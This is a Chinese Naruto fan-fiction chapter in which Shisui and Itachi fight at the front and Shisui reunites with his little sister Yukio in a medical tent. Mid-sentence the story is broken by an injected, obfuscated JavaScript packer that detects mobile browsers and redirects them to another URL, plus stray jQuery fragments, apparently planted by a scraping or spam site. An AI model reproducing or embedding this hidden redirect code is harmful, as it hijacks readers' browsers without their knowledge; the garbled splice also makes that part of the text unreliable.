宇智波止水在木叶的日子,过得很快。
快得像手里的苦无,嗖地一下,就飞出去了。
每天早起,做饭,吃饭。一个人坐在桌边,对面空着,但他还是做两人份。做完了,自己吃掉一份,另一份用布包好,放进冰箱。
等她回来吃。
然后去训练场。
训练场里人不多,偶尔有几个认识的,点点头,各自练各自的。
他练得很刻苦。
不是因为想变强。
是因为只有练到筋疲力尽,晚上才不会想她。
不会想她在前线怎么样,有没有受伤,有没有好好吃饭,有没有——
他摇摇头,把这些念头甩开。
然后继续练。
苦无,手里剑,体术,瞬身术。
一遍一遍。
直到太阳落山。
有时候鼬会来。
鼬,又长高了一点,他站在训练场边上,看着止水练,偶尔自己也练一会儿。
两人不说话。
但都知道对方在想什么。
因为她。
“止水哥。”那天傍晚,鼬开口。
止水停下来,看着他。
鼬站在夕阳里,脸上的表情和平常一样平静。但他的眼睛,比平时亮一点。
“我开眼了。”
止水愣了一下。
写轮眼。
宇智波一族的血继限界,在剧烈的情绪波动中觉醒。
他想起自己开眼的时候。
看见的是队长的死。
是那个人挡在他面前,被一刀一刀刺着,也不松手的样子。
“什么时候?”他问。
鼬沉默了一会儿。
“上次任务。”他说。
止水看着他。
七岁。
和他当年一样。
“疼吗?”他问。
鼬想了想,摇摇头。
“不是疼。”他说,“是别的。”
他说不清。
但止水懂。
那种感觉,说不清。
只是会在心里留下一个洞。
永远填不满的洞。
“走吧。”止水说,“回家。”
两人并肩走出训练场。
夕阳把他们的影子拉得很长。
过了几天,任务来了。
边境战事吃紧,需要增援。
止水和鼬,都在名单上。
出发那天早上,止水起得很早。
天还没亮,他就醒了。
躺着,看着天花板。
想起上次离开的时候,雪绪还在。
站在院子里,挥着手,喊“哥早点回来”。
这次她不在。
她在前线。
在比他更危险的地方。
他坐起来,深吸一口气。
然后下床,洗漱,做饭。
还是做两人份。
自己吃掉一份,另一份放进冰箱。
写了一张纸条贴在上面。
“等你回来吃。——哥”
然后他背上装备,走出门。
院门口,鼬已经等着了。
两人对视一眼,没有说话。
只是并肩往前走。
穿过街道,穿过村子,走向边境。
走向她所在的方向。
前线的日子,和止水记忆里一样。
血腥,混乱,生死一瞬。
但又不一样。
因为他不再是一个人。
鼬在他身边。
十岁的止水,八岁的鼬。
两个少年,在战场上穿梭。
他们的身影快得像风,像影,像光。
苦无脱手,敌人倒下。
瞬身术发动,出现在另一个地方。
再出手,又一个敌人倒下。
“那两个小鬼是谁?”
“宇智波一族的!”
“那个大的,瞬身术好快——”
“瞬身止水,有人这么叫他。”
瞬身止水。
这个名号,开始在战场上流传。
不是他自己取的。
是别人叫的。
因为他太快了。
快到敌人看不见他的动作,只能看见一道道残影。
止水听见这个名号的时候,正在休息。
他靠在树干上,闭着眼睛。
鼬在旁边,低头擦着苦无。
“瞬身止水。”鼬说,“挺好听的。”
止水睁开眼睛。
“你也有名号。”
鼬愣了一下。
“什么?”
“写轮眼的天才。”止水说,“有人这么叫你。”
鼬没说话。
那天晚上,他们坐在篝火边。
远处偶尔有爆炸声,是前线的动静。
但这里很安静。
“止水哥。”
“嗯?”
“你说她现在在干什么?”
止水愣了一下。
然后他想了想。
“可能在救人。”他说,“可能在哭。可能在写信。”
鼬沉默了一会儿。
“她写信吗?”
“写。”止水说,“每周一封。”
鼬看着他。
“写的什么?”
止水想了想。
“什么都写。”他说,“今天救了几个人,吃了什么饭,天气怎么样,想不想我们。”
他顿了顿。
“就是不写自己累不累。”
鼬低下头。
“她从来不写那些。”他说。
止水点点头。
“她不想让我们担心。”
两人沉默了一会儿。
篝火噼啪响着。
“止水哥。”鼬又开口。
“嗯?”
“等战争结束,我想去看她。”
止水看着他。
月光下,鼬的眼睛里有什么东西在闪。
不是泪。
是光。
很小,但很亮。
“好。”他说。
第二天,战斗又开始了。
这次不一样。
这次是正面交锋。
砂忍的主力冲过来,木叶的防线被撕开一道口子。
止水和鼬被分开了。
他在东边,她在——
他不知道。
只知道要挡住这些人。
瞬身术发动。
一道残影掠过,三个砂忍倒下。
再发动,又是两个。
再发动——
他忽然停住了。
因为眼前,是一个熟悉的身影。
卡卡西。
白头发,黑面罩,死鱼眼。
他站在那里,浑身是血。
但站着。
“卡卡西?”止水跑过去,“你受伤了?”
卡卡西摇摇头。
“不是我的血。”
他看着止水,那双死鱼眼里,有什么东西沉沉的。
“她呢?”止水问。
卡卡西愣了一下。
“谁?”
“雪绪。”
卡卡西沉默了一秒。
“在后面。”他说,“医疗帐篷。”
止水松了口气。
“那就好。”
卡卡西看着他,说:“她很想你。”
止水愣住了。
“什么?”
“她提起你。”卡卡西说,“每次见面都提。”
他顿了顿。
“说你做的饭好吃,说你扎的头发好看,说你最疼她。”
止水听着,心脏却开始加速跳动。
“她还说什么?”
卡卡西想了想。
“说你一定会回去。”
他看着止水,那双死鱼眼里,难得有一丝认真。
“她说,她等你。”
止水站在那里,愣了几秒。
然后他笑了。
很小,但很温柔。
“好。”他说。
战斗继续。
止水的身影在战场上穿梭。
瞬身术,一次接一次。
敌人倒下,一个接一个。
但他心里,一直想着那句话。
她等你。
等他回去。
等他推开院门,看见她站在那里。
喊他“哥”。
他不能死。
绝对不能。
那天晚上,战斗暂时停了。
止水回到营地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297069|198580||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,找到医疗帐篷。
站在门口,他忽然不敢进去。
怕看见她受伤的样子。
怕看见她哭。
怕看见她——
门帘掀开了。
雪绪站在门口。
七岁的她,穿着那身医疗忍者的制服,头发有点乱,脸上有血迹。眼睛底下青黑一片,是好久没睡好的痕迹。
但她站在那里。
站着。
看着他。
“哥。”
止水看着她。
看着她瘦了的脸,看着她疲惫的眼睛,看着她努力忍着的眼泪。
然后他走过去,把她抱进怀里。
紧紧的。
“雪绪。”
她没有说话。
只是把脸埋在他怀里,肩膀一抖一抖的。
哭得很小声。
怕被人听见。
止水抱着她,轻轻拍着她的背。
“没事了。”他说,“我来了。”
她哭得更厉害了。
但没有声音。
只是抖。
两人抱了很久。
直到她哭够了,抬起头。
眼睛红红的,肿肿的。
“哥,”她喊他,声音哑哑的,“我好想你。”
止水看着她。
看着这张小小的脸。
心里那根线,忽然松了。
又紧了。
但不再是闷。
是别的。
他说不清。
“我也想你。”他说。
雪绪看着他。
她伸手,摸了摸他的脸。
“瘦了。”
止水愣了一下。
然后他笑了。
“你也是。”
雪绪也笑了。
笑得眼睛弯成月牙。
和记忆里一模一样。
那天晚上,他们坐在帐篷外面。
看着月亮。
和木叶的一样亮。
“哥,”雪绪说,“我今天又救了一个人。”
止水看着她。
“嗯?”
“一个和我差不多大的孩子。”雪绪说,“他的腿被炸断了,我帮他止血,缝好,他活下来了。”
她顿了顿。
“他叫我姐姐。”
止水听着,心里有点酸。
“高兴吗?”他问。
雪绪想了想。
“高兴。”她说,“但之前也有救不回来的。”
她低下头。
“很多。”
止水没有说话。
他只是伸手,把她揽进怀里。
“累吗?”
雪绪沉默了一会儿。
然后她点点头。
很小幅度的点头。
“累。”她说。
止水抱紧她。
“那就休息。”
雪绪靠在他怀里,闭上眼睛。
月亮很亮。
风很轻。
她说:“哥,你今晚别走了。”
止水低头看她。
“好。”他说。
她不说话了。
呼吸慢慢均匀。
睡着了。
止水看着她的睡脸。
比上次见面瘦了,也高了。
眉头微微皱着,即使在梦里也不放松。
他想起她刚才说的话。
“很多救不回来的。”
那些画面,他见过。
那些眼睛,他也见过。
她知道那种感觉了。
那么小,就知道了。
他低头,在她额头上轻轻印了一下。
很小的动作。
像小时候妈妈对他那样。
“睡吧。”他轻声说。
月亮慢慢移动。
夜风吹过。
远处偶尔有爆炸声。
但她睡得很沉。
因为有他在。
第二天早上,雪绪醒来的时候,止水已经不在了。
但她身上,披着他的外套。
上面有他的味道。
淡淡的,像阳光。
她抱着那件外套,坐了一会儿。
然后站起来,开始工作。
因为还有人在等。